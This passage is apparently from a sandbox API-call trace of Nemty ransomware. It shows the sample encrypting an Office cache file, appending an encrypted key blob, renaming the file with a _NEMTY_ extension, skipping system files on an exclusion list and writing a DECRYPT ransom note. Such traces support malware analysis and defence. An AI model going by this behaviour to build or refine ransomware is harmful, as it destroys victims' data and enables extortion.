lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0048.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0048.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0048.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0048.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0048.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0048.459] Sleep (dwMilliseconds=0x5) [0048.467] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0975d10, dwHighDateTime=0x1d561e7)) [0048.467] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0975d10, dwHighDateTime=0x1d561e7)) [0048.467] GetLastError () returned 0x0 [0048.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.467] GetLastError () returned 0x0 [0048.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.467] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0048.467] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0048.468] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0048.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0048.468] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="v6x/YFE2dn/uoS8rRVeXOURmXeljgE34BaopLkTt3YTIHo/AnQr1J2Rz2mSmO9r2\r\nUnF5DP/EXnsXkKMiz8xIssv4HeUMxrmn0oz5QD99+MNfukiPX61x1YffcQhFA7dw\r\ntN/Ed3cSyTLNm35sGg3vmO/qFqwl9gDNu17Pg9QRypA2yo02wFUZONUvxLK4Oh3w\r\n3eG0FHKsANjcGVWNXFY+LhZswn3824QsOUa/MNJwveeb9QbC67/Mx2RGFaIdNCTM\r\nSbJBlBqFamj+UfasC9lw16whFUPLLAYuUn9iAt1OHz7i4J8Xi4Qhq7+dwZHyFzsW\r\nc/4n017kUAyoDiVdXRQpHQ==\r\n", pcchString=0x653ef9c) returned 1 [0048.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0048.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0048.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0048.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0048.468] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0048.469] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=1872) returned 1 [0048.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x750) returned 0x4f9f4a0 [0048.469] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.469] ReadFile (in: hFile=0x3c8, lpBuffer=0x4f9f4a0, nNumberOfBytesToRead=0x750, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x4f9f4a0*, lpNumberOfBytesRead=0x653f1e4*=0x750, lpOverlapped=0x0) returned 1 [0048.470] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.470] WriteFile (in: hFile=0x3c8, lpBuffer=0x4f9f4a0*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x4f9f4a0*, lpNumberOfBytesWritten=0x653f1dc*=0x750, lpOverlapped=0x0) returned 1 [0048.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9f4a0 | out: hHeap=0x4f90000) returned 1 [0048.470] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=1872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x750 [0048.470] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0048.471] CloseHandle (hObject=0x3c8) returned 1 [0048.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0048.471] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.471] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0048.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0048.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0048.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.471] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml._nemty_kgobjgd_")) returned 1 [0048.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0048.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0048.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0048.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0048.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0048.472] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0845210, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd0845210, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0845210, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0048.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0048.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0048.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0048.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0048.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0048.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0048.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0048.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0048.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0048.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0048.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0048.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0048.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0048.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0048.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0048.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0048.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0048.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0048.473] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0048.473] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0048.473] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0048.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0048.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0048.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94240 [0048.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.473] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0845210, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd0845210, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0845210, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0048.473] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0048.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0048.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0048.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0048.474] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~4")) returned 1 [0048.474] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0048.474] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0048.474] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="...") returned 1 [0048.474] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0048.474] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="$RECYCLE.BIN") returned 1 [0048.474] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="rsa") returned -1 [0048.474] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="NTDETECT.COM") returned -1 [0048.474] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="ntldr") returned -1 [0048.474] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="MSDOS.SYS") returned -1 [0048.474] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="IO.SYS") returned -1 [0048.474] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0048.474] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0048.474] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="AUTOEXEC.BAT") returned -1 [0048.474] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0048.474] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="desktop.ini") returned -1 [0048.474] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="CONFIG.SYS") returned -1 [0048.474] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="RECYCLER") returned -1 [0048.474] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="BOOTSECT.BAK") returned -1 [0048.474] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0048.474] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="programdata") returned -1 [0048.474] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="appdata") returned -1 [0048.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91618 [0048.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-00BA-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0048.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0048.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-00BA-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0048.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0048.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0048.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-00BA-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0048.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0048.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-00BA-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0048.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0048.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0048.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91618 | out: hHeap=0x4f90000) returned 1 [0048.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0048.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0048.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0048.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0048.475] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.475] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94110 [0048.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f941b8 [0048.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0048.475] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0048.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b8 | out: hHeap=0x4f90000) returned 1 [0048.477] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.477] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, 